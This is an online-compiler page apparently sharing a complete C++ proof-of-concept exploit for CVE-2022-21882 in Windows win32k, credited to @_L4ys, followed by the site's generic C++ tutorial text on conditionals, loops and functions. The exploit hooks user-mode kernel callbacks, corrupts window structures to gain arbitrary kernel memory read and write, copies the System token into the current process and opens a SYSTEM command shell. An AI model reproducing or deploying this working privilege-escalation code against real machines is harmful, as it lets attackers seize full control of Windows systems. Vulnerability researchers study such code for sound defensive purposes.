// CVE-2022-21882 by @_L4ys // Only tested on Windows 10 21H2 #include <stdio.h> #include <windows.h> #include <intrin.h> #define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440 #define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448 #define EPROCESS_TOKEN_OFFSET 0x4b8 #define MAGIC_CB_WND_EXTRA 0x1337 typedef PVOID(WINAPI *RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size); typedef NTSTATUS(WINAPI *NTUSERCONSOLECONTROL)(DWORD, PVOID, ULONG); typedef NTSTATUS(WINAPI *NTCALLBACKRETURN)(PVOID Result, ULONG ResultLength, NTSTATUS Status); typedef NTSTATUS(WINAPI *NTUSERMESSAGECALL)(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); typedef PVOID(WINAPI *HMVALIDATEHANDLE)(HANDLE h, BYTE byType); RTLALLOCATEHEAP RtlAllocateHeap = NULL; NTUSERCONSOLECONTROL NtUserConsoleControl = NULL; NTCALLBACKRETURN NtCallbackReturn = NULL; NTUSERMESSAGECALL NtUserMessageCall = NULL; HMVALIDATEHANDLE HMValidateHandle = NULL; // User mode callbacks typedef NTSTATUS(WINAPI *XXXCLIENTALLOCWINDOWCLASSEXTRABYTES)(unsigned int *pSize); typedef NTSTATUS(WINAPI *XXXCLIENTFREEWINDOWCLASSEXTRABYTES)(PVOID pAddress); XXXCLIENTALLOCWINDOWCLASSEXTRABYTES xxxClientAllocWindowClassExtraBytes = NULL; XXXCLIENTFREEWINDOWCLASSEXTRABYTES xxxClientFreeWindowClassExtraBytes = NULL; // Kernel tagWND #pragma pack(1) struct tagWND { ULONG64 hWnd; // + 0x00 ULONG64 OffsetToDesktopHeap; // + 0x08 ULONG64 state; // + 0x10 DWORD dwExStyle; // + 0x18 DWORD dwStyle; // + 0x1C BYTE gap[0xa8]; ULONG64 cbWndExtra; // + 0xC8 BYTE gap2[0x18]; DWORD dwExtraFlag; // + 0xE8 BYTE gap3[0x3c]; ULONG64 pExtraBytes; // + 0x128 }; #pragma pack(1) struct tagMENU { ULONG64 field_0; ULONG64 field_8; ULONG64 field_10; ULONG64 field_18; ULONG64 field_20; PVOID obj28; ULONG64 field_30; ULONG64 field_38; DWORD cxMenu; DWORD cyMenu; ULONG64 field_48; ULONG64 field_50; PVOID rgItems; // + 0x58 ULONG64 field_60; ULONG64 field_68; ULONG64 field_70; ULONG64 field_78; ULONG64 field_80; ULONG64 field_88; ULONG64 field_90; PVOID ref; // + 0x98 }; HWND g_hWnd[50] = {0}; tagWND *g_pWnd[50] = {0}; tagMENU *g_pFakeMenu = 0; HMVALIDATEHANDLE FindHMValidateHandle() { HMVALIDATEHANDLE result = NULL; HMODULE hUser32 = LoadLibrary(L"user32.dll"); PBYTE p = (PBYTE)GetProcAddress(hUser32, "IsMenu"); for (int i = 0; i < 20; ++i) { if (0xe8 == *p++) { INT offset = *(PINT)p; result = (HMVALIDATEHANDLE)(p + 4 + offset); break; } } return result; } NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int *pSize) { if (*pSize == MAGIC_CB_WND_EXTRA) { // magicWND->dwExtraFLag |= 0x800 printf("Set magicWND->dwExtraFlag |= 0x800\n"); ULONG64 ConsoleCtrlInfo[2] = {0}; ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[2]; NTSTATUS ret = NtUserConsoleControl(6, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo)); // Set magicWND->pExtraBytes to fake offset printf("Retrun faked pExtraBytes: %llx\n", g_pWnd[0]->OffsetToDesktopHeap); ULONG64 Result[3] = {g_pWnd[0]->OffsetToDesktopHeap}; return NtCallbackReturn(&Result, sizeof(Result), 0); } return xxxClientAllocWindowClassExtraBytes(pSize); } NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID *pInfo) { tagWND *pwnd = (tagWND *)pInfo[0]; // explorer will try to free our faked pExtraBytes, block it to prevent BSOD if (pwnd->cbWndExtra == MAGIC_CB_WND_EXTRA) return 1; return xxxClientFreeWindowClassExtraBytes(pInfo); } ULONG64 Read64(ULONG64 address) { MENUBARINFO mbi = {0}; mbi.cbSize = sizeof(MENUBARINFO); RECT Rect = {0}; GetWindowRect(g_hWnd[1], &Rect); *(PULONG64)g_pFakeMenu->rgItems = address - 0x40; GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi); DWORD val[2] = {0}; val[0] = mbi.rcBar.left - Rect.left; val[1] = mbi.rcBar.top - Rect.top; return *(PULONG64)val; } VOID HookUserModeCallBack() { ULONG64 pKernelCallbackTable = (ULONG64) * (ULONG64 *)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable xxxClientAllocWindowClassExtraBytes = (XXXCLIENTALLOCWINDOWCLASSEXTRABYTES) * (ULONG64 *)((PBYTE)pKernelCallbackTable + 0x3D8); // index = 0x7B xxxClientFreeWindowClassExtraBytes = (XXXCLIENTFREEWINDOWCLASSEXTRABYTES) * (ULONG64 *)((PBYTE)pKernelCallbackTable + 0x3E0); // index = 0x7C DWORD dwOldProtect = 0; VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, PAGE_READWRITE, &dwOldProtect); *(PULONG64)((PBYTE)pKernelCallbackTable + 0x3D8) = (ULONG64)MyxxxClientAllocWindowClassExtraBytes; *(PULONG64)((PBYTE)pKernelCallbackTable + 0x3E0) = (ULONG64)MyxxxClientFreeWindowClassExtraBytes; VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, dwOldProtect, &dwOldProtect); } VOID UnhookUserModeCallBack() { ULONG64 pKernelCallbackTable = (ULONG64) * (ULONG64 *)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable DWORD dwOldProtect = 0; VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, PAGE_READWRITE, &dwOldProtect); *(PULONG64)((PBYTE)pKernelCallbackTable + 0x3D8) = (ULONG64)xxxClientAllocWindowClassExtraBytes; *(PULONG64)((PBYTE)pKernelCallbackTable + 0x3E0) = (ULONG64)xxxClientFreeWindowClassExtraBytes; VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, dwOldProtect, &dwOldProtect); } int main(int argc, char *argv[]) { printf("CVE-2022-21882 Exploit by @_L4ys\n"); NtUserConsoleControl = (NTUSERCONSOLECONTROL)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserConsoleControl"); NtUserMessageCall = (NTUSERMESSAGECALL)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserMessageCall"); NtCallbackReturn = (NTCALLBACKRETURN)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCallbackReturn"); RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAllocateHeap"); HMValidateHandle = FindHMValidateHandle(); WNDCLASSEX WndClass = {0}; WndClass.cbSize = sizeof(WNDCLASSEX); WndClass.lpfnWndProc = DefWindowProc; WndClass.style = CS_VREDRAW | CS_HREDRAW; WndClass.cbWndExtra = 0x20; WndClass.hInstance = NULL; WndClass.lpszMenuName = NULL; WndClass.lpszClassName = L"NormalClass"; RegisterClassEx(&WndClass); WndClass.cbWndExtra = MAGIC_CB_WND_EXTRA; WndClass.lpszClassName = L"MagicClass"; RegisterClassEx(&WndClass); DWORD extra_to_wnd1_offset = 0; DWORD extra_to_wnd2_offset = 0; for (int j = 0; j < 5; ++j) { HMENU hMenu = CreateMenu(); HMENU hHelpMenu = CreateMenu(); AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")); AppendMenu(hMenu, MF_POPUP, (UINT_PTR)hHelpMenu, TEXT("help")); for (int i = 0; i < 50; ++i) { g_hWnd[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, hMenu, NULL, NULL); g_pWnd[i] = (tagWND*)HMValidateHandle(g_hWnd[i], 1); } for (int i = 2; i < 50; ++i) { DestroyWindow(g_hWnd[i]); } // Set first window to use kernel desktop heap for extra bytes ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)g_hWnd[0] }; NTSTATUS status = NtUserConsoleControl(6, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo)); g_hWnd[2] = CreateWindowEx(NULL, L"MagicClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, NULL, NULL); g_pWnd[2] = (tagWND*)HMValidateHandle(g_hWnd[2], 1); if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) { extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes; } if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) { extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes; } if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) { printf("Unexpected memory layout, retry %d/5\n", j + 1); DestroyWindow(g_hWnd[0]); DestroyWindow(g_hWnd[1]); DestroyWindow(g_hWnd[2]); DestroyMenu(hMenu); DestroyMenu(hHelpMenu); if (j == 4) { printf("Give up\n"); return 1; } continue; } printf("Offset of tagWND0->pExtraBytes and tagWND1 = %x\n", extra_to_wnd1_offset); printf("Offset of tagWND0->pExtraBytes and tagWND2 = %x\n", extra_to_wnd2_offset); break; } HookUserModeCallBack(); printf("Trigger xxxValidateClassAndSize\n"); // Trigger xxxSwitchWndProc -> xxxValidateClassAndSize to call our usermode callbacks NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0); // Now magic window's pExtraBytes points to tagWND0 SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra) + 0x10, 0xFFFFFFFF); // Use OOB to modify tagWND1's cbWndExtra // Create a fake spmenu PVOID hHeap = GetProcessHeap(); g_pFakeMenu = (tagMENU *)RtlAllocateHeap(hHeap, 0, 0xA0); g_pFakeMenu->ref = RtlAllocateHeap(hHeap, 0, 0x20); *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu; // cItems = 1 g_pFakeMenu->obj28 = RtlAllocateHeap(hHeap, 0, 0x200); *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1; // rgItems g_pFakeMenu->rgItems = RtlAllocateHeap(hHeap, 0, 0x8); // cx / cy must > 0 g_pFakeMenu->cxMenu = 1; g_pFakeMenu->cyMenu = 1; // Set WS_CHILD to set spmenu with GWLP_ID DWORD style = g_pWnd[1]->dwStyle; SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, dwStyle), style | WS_CHILD); ULONG64 pmenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pFakeMenu); // Set fake spmenu and leak its kernel address printf("pWnd1->spmenu = %llx\n", pmenu); // Remove WS_CHILD to use GetMenuBarInfo SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, dwStyle), style); // Token stealing ULONG64 p = Read64(pmenu + 0x50); // pmenu->spwndNotify (tagWND) p = Read64(p + 0x10); // pwnd->pti (THREADINFO) p = Read64(p + 0x1A0); // pti->ppi (PROCESSINFO) p = Read64(p); // ppi.W32PROCESS.peProcess ULONG64 eprocess = p; printf("Current EPROCESS = %llx\n", eprocess); do { p = Read64(p + EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET) - EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET; ULONG64 pid = Read64(p + EPROCESS_UNIQUE_PROCESS_ID_OFFSET); if (pid == 4) { printf("System EPROCESS = %llx\n", p); ULONG64 pSystemToken = Read64(p + EPROCESS_TOKEN_OFFSET); printf("pSystem Token = %llx \n", pSystemToken); ULONG64 pCurrentToken = eprocess + EPROCESS_TOKEN_OFFSET; LONG_PTR old = SetWindowLongPtr(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes), (LONG_PTR)pCurrentToken); SetWindowLongPtr(g_hWnd[1], 0, pSystemToken); SetWindowLongPtr(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes), (LONG_PTR)old); break; } } while (p != eprocess); system("cmd"); // Fix corrupted tagWND PVOID pExtraBytes = RtlAllocateHeap(hHeap, 0, MAGIC_CB_WND_EXTRA); SetWindowLongPtr(g_hWnd[0], extra_to_wnd2_offset + offsetof(tagWND, pExtraBytes), (ULONG_PTR)pExtraBytes); SetWindowLongPtr(g_hWnd[0], extra_to_wnd2_offset + offsetof(tagWND, dwExtraFlag), g_pWnd[2]->dwExtraFlag & ~0x800); style = g_pWnd[1]->dwStyle; SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, dwStyle), style | WS_CHILD); SetWindowLongPtr(g_hWnd[1], GWLP_ID, (UINT_PTR)pmenu); // tagWND1->spmenu = pmenu SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, dwStyle), style); UnhookUserModeCallBack(); }
Write, Run & Share C++ code online using OneCompiler's C++ online compiler for free. It's one of the robust, feature-rich online compilers for C++ language, running on the latest version 17. Getting started with the OneCompiler's C++ compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C++
and start coding!
OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.
#include <iostream>
#include <string>
using namespace std;
int main()
{
string name;
cout << "Enter name:";
getline (cin, name);
cout << "Hello " << name;
return 0;
}
C++ is a widely used middle-level programming language.
When ever you want to perform a set of operations based on a condition If-Else is used.
if(conditional-expression) {
//code
}
else {
//code
}
You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.
Switch is an alternative to If-Else-If ladder.
switch(conditional-expression){
case value1:
// code
break; // optional
case value2:
// code
break; // optional
......
default:
code to be executed when all the above cases are not matched;
}
For loop is used to iterate a set of statements based on a condition.
for(Initialization; Condition; Increment/decrement){
//code
}
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while (condition) {
// code
}
Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.
do {
// code
} while (condition);
Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.
return_type function_name(parameters);
function_name (parameters)
return_type function_name(parameters) {
// code
}